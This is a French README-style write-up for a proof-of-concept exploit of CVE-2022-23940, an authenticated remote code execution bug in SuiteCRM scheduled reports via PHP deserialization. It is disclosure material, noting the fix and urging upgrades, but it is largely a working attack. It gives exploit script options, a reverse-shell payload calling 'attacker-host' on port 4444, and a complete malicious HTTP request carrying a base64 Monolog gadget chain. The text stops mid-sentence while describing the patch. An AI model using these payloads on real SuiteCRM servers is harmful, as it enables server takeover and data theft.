
PoC pour CVE-2022-23940
PoC pour CVE-2022-23940 alias SCRMBT-#187 - Exécution de code à distance authentifiée via les rapports planifiés dans SuiteCRM (<= 7.12.4) et SuiteCRM-Core (<= 8.0.3).
Cette vulnérabilité a été signalée à SalesAgility et corrigée dans SuiteCRM 7.12.5 et SuiteCRM Core 8.0.4. Dans les versions concernées, tout utilisateur ayant la permission de créer des rapports planifiés peut obtenir une exécution de code à distance et compromettre le serveur. Si vous utilisez des versions plus anciennes de SuiteCRM, je vous conseille vivement de mettre à jour.
Installation
python3 et pip installée.git clone https://github.com/manuelz120/CVE-2022-23940.gitpip3 install -r "requirements.txt"Options disponibles :
(.venv) ➜ CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2022-23940
Exemple d'utilisation :
# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
Les utilisateurs capables de créer des rapports planifiés (donc capables de créer des entrées dans le module AOR_Scheduled_Reports) peuvent exécuter du code arbitraire sur le serveur en abusant d'une vulnérabilité de désérialisation PHP.
Le module AOR_Scheduled_Reports stocke les destinataires du rapport sous forme de chaînes sérialisées et encodées en base64 dans la base de données. Lors de la réception des données d'un rapport planifié, la colonne mentionnée est désérialisée. Si des attaquants parviennent à insérer du contenu arbitraire dans cette colonne, ils peuvent obtenir une RCE via divers gadgets de désérialisation PHP (dans mes tests, j'ai utilisé Monolog/RCE2 de l'outil phpggc).
Le payload peut être stocké dans la base de données en utilisant l'appel de sauvegarde hérité du module AOR_Scheduled_Reports. Le serveur suppose à tort que le paramètre email_recipients est toujours un tableau. Cependant, si un client malveillant transmet simplement email_recipients sous forme de chaîne, les données seront stockées telles quelles dans la base de données. Une fois désérialisés, les gadgets sont exécutés sur le serveur et nous obtenons une exécution de code à distance.
L'implémentation vulnérable de la fonction save dans la classe AOR_Scheduled_Reports. Plus bas, nous pouvons voir que get_email_recipients appelle unserialize sur le contenu stocké dans la base de données :
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php
public function save($check_notify = false)
{
if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
$this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
}
return parent::save($check_notify);
}
public function get_email_recipients()
{
$params = unserialize(base64_decode($this->email_recipients));
// ....
Un exemple de requête pour créer un tel rapport planifié malveillant ressemble à ceci (si vous décodez la valeur de email_recipients, vous pouvez voir qu'elle exécute simplement touch /tmp/hacked) :
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999
module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A
Si l'on regarde le code corrigé, on peut voir que les développeurs ont ajouté une nouvelle fonction parseRecipients qui analyse et valide les données stockées dans le paramètre email_recipients, avant de les enregistrer dans la base de données. Ce n'est que si la valeur correspond au format attendu que les données sont stockées. Par conséquent, la RCE par désérialisation ne fonctionne plus :
